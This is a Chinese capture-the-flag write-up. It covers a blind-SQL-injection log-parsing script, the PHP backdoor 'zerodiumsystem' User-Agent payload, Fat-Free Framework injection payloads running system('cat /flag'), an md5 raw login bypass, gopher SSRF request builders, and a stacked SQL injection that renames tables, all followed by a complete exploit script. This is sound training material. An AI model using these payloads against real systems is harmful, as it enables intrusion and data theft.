MISC

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from base64 import *
flag = ''
with open('access.log','r') as f:
lines = f.readlines()
print(lines)
#print(type(lines))
for line in lines:
if "select%20flag%20from%20flllag" in line:
# print(line.find('200'))
packet_len = line[line.find('200')+4:line.find(' "-" "python-requests/2.21.0"')]
if packet_len == '377':
ascii_code =line[line.find('))=')+3:line.find(',sleep')]
ascii_str =chr(int(ascii_code))
flag += ascii_str
else:
pass
else:
pass
print(b64decode(flag).decode('utf-8'))
flag = ""
with open('access.log','r') as file:
ans = ""
req = file.readlines()
req = req[1548:3822]
for i in range(len(req)):
# if "[11/Mar/2021" in req[i]:
# if abs(int(req[i-1].split('[11/Mar/2021')[1][7:9]) - int(req[i].split('[11/Mar/2021')[1][7:9]))>1:
# tmp = req[i-1].split(',sleep(2)')[0].split(",1))=")[-1]
# print(tmp)
# flag += chr(int(tmp))
if 'HTTP/1.1" 200 377' in req[i]:
tmp = req[i].split(',sleep(2)')[0].split(",1))=")[-1]
flag += chr(int(tmp))

print(flag)

tcl

脚本都不会写!!!!😫😫😫😫

web签到

详细分析PHP源代码后门事件及其供应链安全启示

大赛都是紧跟时事的!🙄🙄🙄

User-Agent:zerodiumsystem(“touch **/tmp/**php-evil/evil”);

unsetme

image-20210407164708822

Fat-Free Framework是一款主要使用PHP语言编写的开源Web框架。 Fat-Free Framework 3.7.1版本中存在注入漏洞。攻击者可利用该漏洞执行任意代码。链接:https://github.com/bcosca/fatfree-core/commit/dae95a0baf3963a9ef87c17cee52f78f77e21829
<?php
// Kickstart the framework
$f3=require('base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];

unset($f3->$a);
echo $f3->$a;
$f3->run();

image-20210407164623085

payload有很多!

:[]);system('cat /flag');//
1%0a);system('dir');print(1
1[]);phpinfo(

image-20210407165213446

image-20210407165231906

发现

直接[]也是可以构造! 所以要敢于尝试! 做黑盒怕什么!

总结

就是闭合问题!

还有就是看CHANGELOG.md 获取版本也是好的思路!

着个题!也学会很多! 啥都不要怕! 直接硬刚!

还有就是多多上github上收集收集信息! 要会搜!

发现大赛都是紧跟时事的!😑

‘慢慢做’管理系统

很明显是 md5($password,true) 登录绕过:https://blog.csdn.net/March97/article/details/81222922

登录成功后来到ssrf页面:

我的思路就是 127.0.0.1
也可以 0.0.0.0
/ssrf.php?way=0.0.0.0/admin.php

当时我是没试出来 admin.php
可能是因为我 http:/127.0.0.1

GET

import urllib.parse
import requests

test = \
"""
GET / HTTP/1.1
Host: 47.94.0.250
"""

tmp = urllib.parse.quote(test)
print (tmp)
tmp = tmp.replace('%0A',"%0D%0A")
fin = 'gopher://47.94.0.250:80/'+'_'+tmp
print (fin)

get请求的化 只要:

GET 
Host:
应该就可以了!

post

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/4/7 18:14
# @Author : upload
# @File : 1dada.py
# @Software: PyCharm

import urllib.parse
import requests

post_data = '''username=1&pass=2'''
post_data_length = len(post_data)
test =\
"""
POST / HTTP/1.1
Host: 47.94.0.250
Content-Length: 17

""".format(post_data_length)
test += post_data
print (test)
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
print (tmp)

new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.94.0.250:80/'+'_'+new
print (result)
print(urllib.parse.quote(result))

post要求多一点:

POST
Host:
Content-Length:
这时必须带的!

ssrf后就是

堆叠sql注入! 改表名

username=admin';rename+table+fake_admin+to+fake_admin1;rename+table+real_admin_here_do_you_find+to+fake_admin;#&password=123

得到真实密码后:

然后再构造gopher利用ssrf去登陆admin,登录后使用内网的cookie去访问flag.php即可得到flag:

大佬的exp:

import urllib.parse
import requests
# rename table fake_admin to fake_admin3;rename table ctf.users to ctf2.fake_admin;show tables;
post_data = '''username=admin&password=5fb4e07de914cfc82afb44vbaf402203'''
post_data_length = len(post_data)
test =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6o42rvm6k3urn764rin0mn17m6;
Content-Length: {0}

""".format(post_data_length)
test += post_data
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
payload = urllib.parse.quote(result)

url = "http://eci-2ze8pd94714jhax3okrx.cloudeci1.ichunqiu.com/ssrf.php?way="
headers = {
'Cookie': "PHPSESSID=03g366r9e95pcn68nh1vtvms82"
}
print(payload)
web = requests.get(url+payload,headers=headers)

print(web.text)
print(url+payload)

注意:

get请求的化:

要两次url编码!!!

127.0.0.1:回环地址。该地址指电脑本身,主要预留测试本机的TCP/IP协议是否正常。只要使用这个地址发送数据,则数据包不会出现在网络传输过程中。
10.x.x.x、172.16.x.x~172.31.x.x、192.168.x.x:这些地址被用做内网中。用做私网地址,这些地址不与外网相连。
255.255.255.255:广播地址
0.0.0.0:这个IP地址在IP数据报中只能用作源IP地址,这发生在当设备启动时但又不知道自己的IP地址情况下。